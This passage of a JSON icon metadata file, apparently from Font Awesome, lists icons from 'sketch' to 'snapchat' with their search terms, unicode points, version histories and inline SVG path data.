      }
    },
    "free": ["brands"]
  },
  "sketch": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f7c6",
    "label": "Sketch",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"
      }
    },
    "free": ["brands"]
  },
  "skull": {
    "aliases": {
      "unicodes": {
        "composite": ["1f480"],
        "secondary": ["10f54c"]
      }
    },
    "changes": [
      "5.0.13",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bones",
        "death",
        "face",
        "fairy tale",
        "monster",
        "skeleton",
        "skull",
        "x-ray",
        "yorick"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54c",
    "label": "Skull",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 398.9c58.5-41.1 96-104.1 96-174.9C512 100.3 397.4 0 256 0S0 100.3 0 224c0 70.7 37.5 133.8 96 174.9c0 .4 0 .7 0 1.1v64c0 26.5 21.5 48 48 48h48V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h64V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c26.5 0 48-21.5 48-48V400c0-.4 0-.7 0-1.1zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm256-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M416 398.9c58.5-41.1 96-104.1 96-174.9C512 100.3 397.4 0 256 0S0 100.3 0 224c0 70.7 37.5 133.8 96 174.9c0 .4 0 .7 0 1.1v64c0 26.5 21.5 48 48 48h48V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h64V464c0-8.8 7.2-16 16-16s16 7.2 16 16v48h48c26.5 0 48-21.5 48-48V400c0-.4 0-.7 0-1.1zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm256-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "skull-crossbones": {
    "aliases": {
      "unicodes": {
        "composite": ["1f571", "2620"],
        "secondary": ["10f714"]
      }
    },
    "changes": [
      "5.4.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Skull and Crossbones",
        "Dungeons & Dragons",
        "alert",
        "bones",
        "crossbones",
        "d&d",
        "danger",
        "dangerous area",
        "dead",
        "deadly",
        "death",
        "dnd",
        "face",
        "fantasy",
        "halloween",
        "holiday",
        "jolly-roger",
        "monster",
        "pirate",
        "poison",
        "skeleton",
        "skull",
        "skull and crossbones",
        "warning"
      ]
    },
    "styles": ["solid"],
    "unicode": "f714",
    "label": "Skull Crossbones",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 128c0 44.4-25.4 83.5-64 106.4V256c0 17.7-14.3 32-32 32H176c-17.7 0-32-14.3-32-32V234.4c-38.6-23-64-62.1-64-106.4C80 57.3 144.5 0 224 0s144 57.3 144 128zM168 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM3.4 273.7c7.9-15.8 27.1-22.2 42.9-14.3L224 348.2l177.7-88.8c15.8-7.9 35-1.5 42.9 14.3s1.5 35-14.3 42.9L295.6 384l134.8 67.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L224 419.8 46.3 508.6c-15.8 7.9-35 1.5-42.9-14.3s-1.5-35 14.3-42.9L152.4 384 17.7 316.6C1.9 308.7-4.5 289.5 3.4 273.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 128c0 44.4-25.4 83.5-64 106.4V256c0 17.7-14.3 32-32 32H176c-17.7 0-32-14.3-32-32V234.4c-38.6-23-64-62.1-64-106.4C80 57.3 144.5 0 224 0s144 57.3 144 128zM168 176a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm144-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM3.4 273.7c7.9-15.8 27.1-22.2 42.9-14.3L224 348.2l177.7-88.8c15.8-7.9 35-1.5 42.9 14.3s1.5 35-14.3 42.9L295.6 384l134.8 67.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3L224 419.8 46.3 508.6c-15.8 7.9-35 1.5-42.9-14.3s-1.5-35 14.3-42.9L152.4 384 17.7 316.6C1.9 308.7-4.5 289.5 3.4 273.7z"
      }
    },
    "free": ["solid"]
  },
  "skyatlas": {
    "changes": ["4.3.0", "5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f216",
    "label": "skyatlas",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"
      }
    },
    "free": ["brands"]
  },
  "skype": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f17e",
    "label": "Skype",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"
      }
    },
    "free": ["brands"]
  },
  "slack": {
    "aliases": {
      "names": ["slack-hash"],
      "unicodes": {
        "composite": ["f3ef"]
      }
    },
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": ["anchor", "hash", "hashtag"]
    },
    "styles": ["brands"],
    "unicode": "f198",
    "label": "Slack Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"
      }
    },
    "free": ["brands"]
  },
  "slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f715"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "close", "mute", "off", "stop", "x"]
    },
    "styles": ["solid"],
    "unicode": "f715",
    "label": "Slash",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M5.1 9.2C13.3-1.2 28.4-3.1 38.8 5.1l592 464c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M5.1 9.2C13.3-1.2 28.4-3.1 38.8 5.1l592 464c10.4 8.2 12.3 23.3 4.1 33.7s-23.3 12.3-33.7 4.1L9.2 42.9C-1.2 34.7-3.1 19.6 5.1 9.2z"
      }
    },
    "free": ["solid"]
  },
  "sleigh": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7cc"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "christmas",
        "claus",
        "fly",
        "holiday",
        "santa",
        "sled",
        "snow",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7cc",
    "label": "Sleigh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V256c0 53 43 96 96 96v32h64V352H384v32h64V352c53 0 96-43 96-96V160c17.7 0 32-14.3 32-32s-14.3-32-32-32H512 480c-17.7 0-32 14.3-32 32v41.3c0 30.2-24.5 54.7-54.7 54.7c-75.5 0-145.6-38.9-185.6-102.9l-4.3-6.9C174.2 67.6 125 37.6 70.7 32.7c-2.2-.5-4.4-.7-6.7-.7H55 32zM640 384c0-17.7-14.3-32-32-32s-32 14.3-32 32v8c0 13.3-10.7 24-24 24H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H552c48.6 0 88-39.4 88-88v-8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96V256c0 53 43 96 96 96v32h64V352H384v32h64V352c53 0 96-43 96-96V160c17.7 0 32-14.3 32-32s-14.3-32-32-32H512 480c-17.7 0-32 14.3-32 32v41.3c0 30.2-24.5 54.7-54.7 54.7c-75.5 0-145.6-38.9-185.6-102.9l-4.3-6.9C174.2 67.6 125 37.6 70.7 32.7c-2.2-.5-4.4-.7-6.7-.7H55 32zM640 384c0-17.7-14.3-32-32-32s-32 14.3-32 32v8c0 13.3-10.7 24-24 24H64c-17.7 0-32 14.3-32 32s14.3 32 32 32H552c48.6 0 88-39.4 88-88v-8z"
      }
    },
    "free": ["solid"]
  },
  "sliders": {
    "aliases": {
      "names": ["sliders-h"],
      "unicodes": {
        "secondary": ["10f1de"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.0.11",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["adjust", "settings", "sliders", "toggle"]
    },
    "styles": ["solid"],
    "unicode": "f1de",
    "label": "Sliders",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 416c0 17.7 14.3 32 32 32l54.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 448c17.7 0 32-14.3 32-32s-14.3-32-32-32l-246.7 0c-12.3-28.3-40.5-48-73.3-48s-61 19.7-73.3 48L32 384c-17.7 0-32 14.3-32 32zm128 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32-80c-32.8 0-61 19.7-73.3 48L32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l246.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48l54.7 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-54.7 0c-12.3-28.3-40.5-48-73.3-48zM192 128a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm73.3-64C253 35.7 224.8 16 192 16s-61 19.7-73.3 48L32 64C14.3 64 0 78.3 0 96s14.3 32 32 32l86.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 128c17.7 0 32-14.3 32-32s-14.3-32-32-32L265.3 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 416c0 17.7 14.3 32 32 32l54.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 448c17.7 0 32-14.3 32-32s-14.3-32-32-32l-246.7 0c-12.3-28.3-40.5-48-73.3-48s-61 19.7-73.3 48L32 384c-17.7 0-32 14.3-32 32zm128 0a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 256a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm32-80c-32.8 0-61 19.7-73.3 48L32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l246.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48l54.7 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-54.7 0c-12.3-28.3-40.5-48-73.3-48zM192 128a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm73.3-64C253 35.7 224.8 16 192 16s-61 19.7-73.3 48L32 64C14.3 64 0 78.3 0 96s14.3 32 32 32l86.7 0c12.3 28.3 40.5 48 73.3 48s61-19.7 73.3-48L480 128c17.7 0 32-14.3 32-32s-14.3-32-32-32L265.3 64z"
      }
    },
    "free": ["solid"]
  },
  "slideshare": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e7",
    "label": "Slideshare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"
      }
    },
    "free": ["brands"]
  },
  "smog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f75f"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["dragon", "fog", "haze", "pollution", "smoke", "weather"]
    },
    "styles": ["solid"],
    "unicode": "f75f",
    "label": "Smog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 144c0 79.5 64.5 144 144 144H299.3c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32H496c61.9 0 112-50.1 112-112s-50.1-112-112-112c-10.7 0-21 1.5-30.8 4.3C443.8 27.7 401.1 0 352 0c-32.6 0-62.4 12.2-85.1 32.3C242.1 12.1 210.5 0 176 0C96.5 0 32 64.5 32 144zM616 368H280c-13.3 0-24 10.7-24 24s10.7 24 24 24H616c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-64 96H440c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-192 0H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24zM224 392c0-13.3-10.7-24-24-24H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H200c13.3 0 24-10.7 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 144c0 79.5 64.5 144 144 144H299.3c22.6 19.9 52.2 32 84.7 32s62.1-12.1 84.7-32H496c61.9 0 112-50.1 112-112s-50.1-112-112-112c-10.7 0-21 1.5-30.8 4.3C443.8 27.7 401.1 0 352 0c-32.6 0-62.4 12.2-85.1 32.3C242.1 12.1 210.5 0 176 0C96.5 0 32 64.5 32 144zM616 368H280c-13.3 0-24 10.7-24 24s10.7 24 24 24H616c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-64 96H440c-13.3 0-24 10.7-24 24s10.7 24 24 24H552c13.3 0 24-10.7 24-24s-10.7-24-24-24zm-192 0H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24zM224 392c0-13.3-10.7-24-24-24H96c-13.3 0-24 10.7-24 24s10.7 24 24 24H200c13.3 0 24-10.7 24-24z"
      }
    },
    "free": ["solid"]
  },
  "smoking": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6ac"],
        "secondary": ["10f48d"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cancer",
        "cigarette",
        "nicotine",
        "smoking",
        "smoking status",
        "tobacco"
      ]
    },
    "styles": ["solid"],
    "unicode": "f48d",
    "label": "Smoking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 32V43c0 38.2 15.2 74.8 42.2 101.8l21 21c21 21 32.8 49.5 32.8 79.2v11c0 17.7-14.3 32-32 32s-32-14.3-32-32V245c0-12.7-5.1-24.9-14.1-33.9l-21-21C405.9 151.1 384 98.1 384 43V32c0-17.7 14.3-32 32-32s32 14.3 32 32zM576 256V245c0-38.2-15.2-74.8-42.2-101.8l-21-21c-21-21-32.8-49.5-32.8-79.2V32c0-17.7 14.3-32 32-32s32 14.3 32 32V43c0 12.7 5.1 24.9 14.1 33.9l21 21c39 39 60.9 91.9 60.9 147.1v11c0 17.7-14.3 32-32 32s-32-14.3-32-32zM0 416c0-35.3 28.7-64 64-64H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H64c-35.3 0-64-28.7-64-64V416zm224 0v32H384V416H224zm288-64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M448 32V43c0 38.2 15.2 74.8 42.2 101.8l21 21c21 21 32.8 49.5 32.8 79.2v11c0 17.7-14.3 32-32 32s-32-14.3-32-32V245c0-12.7-5.1-24.9-14.1-33.9l-21-21C405.9 151.1 384 98.1 384 43V32c0-17.7 14.3-32 32-32s32 14.3 32 32zM576 256V245c0-38.2-15.2-74.8-42.2-101.8l-21-21c-21-21-32.8-49.5-32.8-79.2V32c0-17.7 14.3-32 32-32s32 14.3 32 32V43c0 12.7 5.1 24.9 14.1 33.9l21 21c39 39 60.9 91.9 60.9 147.1v11c0 17.7-14.3 32-32 32s-32-14.3-32-32zM0 416c0-35.3 28.7-64 64-64H416c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H64c-35.3 0-64-28.7-64-64V416zm224 0v32H384V416H224zm288-64c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32zm96 0c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "snapchat": {
    "aliases": {
      "names": ["snapchat-ghost"],
      "unicodes": {
        "composite": ["f2ac"]
      }
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ab",
    "label": "Snapchat",
    "voted": false,
    "svg": {
